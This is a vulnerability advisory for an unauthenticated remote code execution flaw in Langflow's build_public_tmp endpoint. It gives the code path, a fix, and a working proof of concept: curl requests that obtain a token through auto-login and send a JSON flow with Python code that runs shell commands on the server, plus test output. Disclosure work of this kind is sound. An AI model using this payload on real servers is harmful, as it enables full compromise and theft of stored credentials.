CVE-2026-33017

## Summary The `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses **attacker-controlled flow data** (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is **designed** to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. ## Affected Code ### Vulnerable Endpoint (No Authentication) **File:** `src/backend/base/langflow/api/v1/chat.py`, lines 580-657 ```python @router.post("/build_public_tmp/{flow_id}/flow") async def build_public_tmp( *, flow_id: uuid.UUID, data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED request: Request, # ... NO Depends(get_current_active_user) -- MISSING AUTH ... ): """Build a public flow without requiring authentication.""" client_id = request.cookies.get("client_id") owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id) job_id = await start_flow_build( flow_id=new_flow_id, data=data, # Attacker's data passed directly to graph builder current_user=owner_user, ... ) ``` Compare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`. ### Code Execution Chain When attacker-supplied `data` is provided, it flows through: 1. `start_flow_build(data=attacker_data)` → `generate_flow_events()` -- `build.py:81` 2. `create_graph()` → `build_graph_from_data(payload=data.model_dump())` -- `build.py:298` 3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168` 4. `add_nodes_and_edges()` → `initialize()` → `_build_graph()` -- `base.py:270,527` 5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323` 6. `vertex.instantiate_component()` → `instantiate_class(vertex)` -- `loading.py:28` 7. `code = custom_params.pop("code")` extracts attacker code -- `loading.py:43` 8. `eval_custom_component_code(code)` → `create_class(code, class_name)` -- `eval.py:9` 9. `prepare_global_scope(module)` -- `validate.py:323` 10. `exec(compiled_code, exec_globals)` -- **ARBITRARY CODE EXECUTION** -- `validate.py:397` ### Unsandboxed exec() in prepare_global_scope **File:** `src/lfx/src/lfx/custom/validate.py`, lines 340-397 ```python def prepare_global_scope(module): exec_globals = globals().copy() # Imports are resolved first (any module can be imported) for node in imports: module_obj = importlib.import_module(module_name) # line 352 exec_globals[variable_name] = module_obj # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef) if definitions: combined_module = ast.Module(body=definitions, type_ignores=[]) compiled_code = compile(combined_module, "<string>", "exec") exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION ``` **Critical detail:** `prepare_global_scope` executes `ast.Assign` nodes. An attacker's code like `_x = os.system("id")` is an assignment and will be executed during graph building -- before the flow even "runs." ## Prerequisites 1. Target Langflow instance has at least **one public flow** (common for demos, chatbots, shared workflows) 2. Attacker knows the public flow's UUID (discoverable via shared links/URLs) 3. No authentication required -- only a `client_id` cookie (any arbitrary string value) When `AUTO_LOGIN=true` (the **default**), all prerequisites can be met by an unauthenticated attacker: 1. `GET /api/v1/auto_login` → obtain superuser token 2. `POST /api/v1/flows/` → create a public flow 3. Exploit via `build_public_tmp` without any auth ## Proof of Concept ### Tested Against - **Langflow version 1.7.3** (latest stable release, installed via `pip install langflow`) - **Fully reproducible**: 6/6 runs confirmed RCE (two sets of 3 runs each) ### Step 1: Obtain a Public Flow ID (In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.) ```bash # Get superuser token (no credentials needed when AUTO_LOGIN=true) TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token') # Create a public flow FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \ | jq -r '.id') echo "Public Flow ID: $FLOW_ID" ``` ### Step 2: Exploit -- Unauthenticated RCE ```bash # EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint # NO Authorization header, NO API key, NO credentials curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \ -H "Content-Type: application/json" \ -b "client_id=attacker" \ -d '{ "data": { "nodes": [{ "id": "Exploit-001", "type": "genericNode", "position": {"x":0,"y":0}, "data": { "id": "Exploit-001", "type": "ExploitComp", "node": { "template": { "code": { "type": "code", "required": true, "show": true, "multiline": true, "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})", "name": "code", "password": false, "advanced": false, "dynamic": false }, "_type": "Component" }, "description": "X", "base_classes": ["Data"], "display_name": "ExploitComp", "name": "ExploitComp", "frozen": false, "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}], "field_order": ["code"], "beta": false, "edited": false } } }], "edges": [] }, "inputs": null }' ``` ### Step 3: Verify Code Execution ```bash # Wait 2 seconds for async graph building sleep 2 # Check proof file written by attacker's code on the server cat /tmp/rce-proof # Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali ``` ### Actual Test Results ``` ====================================================================== LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST ====================================================================== Version: Langflow 1.7.3 RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19 *** REMOTE CODE EXECUTION CONFIRMED *** canary: RCE-f0d19b36 hostname: kali uid: 1000 whoami: aviral id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),... uname: Linux 6.16.8+kali-amd64 RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832 *** REMOTE CODE EXECUTION CONFIRMED *** canary: RCE-6037a271 RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7 *** REMOTE CODE EXECUTION CONFIRMED *** canary: RCE-4a796556 FINAL RESULTS Total checks: 15 VULNERABLE: 15 SAFE: 0 RCE confirmed: 3/3 runs Reproducible: YES (100%) ``` ## Impact - **Unauthenticated Remote Code Execution** with full server process privileges - **Complete server compromise**: arbitrary file read/write, command execution - **Environment variable exfiltration**: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated) - **Reverse shell access** for persistent access - **Lateral movement** within the network - **Data exfiltration** from all flows, messages, and stored credentials in the database ## Comparison with CVE-2025-3248 | Aspect | CVE-2025-3248 | This Vulnerability | |--------|--------------|-------------------| | **Endpoint** | `/api/v1/validate/code` | `/api/v1/build_public_tmp/{id}/flow` | | **Fix applied** | Added `Depends(get_current_active_user)` | None -- NEW vulnerability | | **Root cause** | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via `data` param | | **Code execution via** | `validate_code()` → `exec()` | `create_class()` → `prepare_global_scope()` → `exec()` | | **CISA KEV** | Yes (actively exploited) | N/A (new finding) | | **Can simple auth fix?** | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the `data` parameter must be removed | ## Recommended Fix ### Immediate (Short-term) **Remove the `data` parameter** from `build_public_tmp`. Public flows should only execute their stored flow data, never attacker-supplied data: ```python @router.post("/build_public_tmp/{flow_id}/flow") async def build_public_tmp( *, flow_id: uuid.UUID, inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None, # REMOVED: data parameter -- public flows must use stored data only ... ): ``` In `generate_flow_events` → `create_graph()`, only the `build_graph_from_db` path should be reachable for unauthenticated requests: ```python async def create_graph(fresh_session, flow_id_str, flow_name): # For public flows, ALWAYS load from database, never from user data return await build_graph_from_db( flow_id=flow_id, session=fresh_session, ... ) ```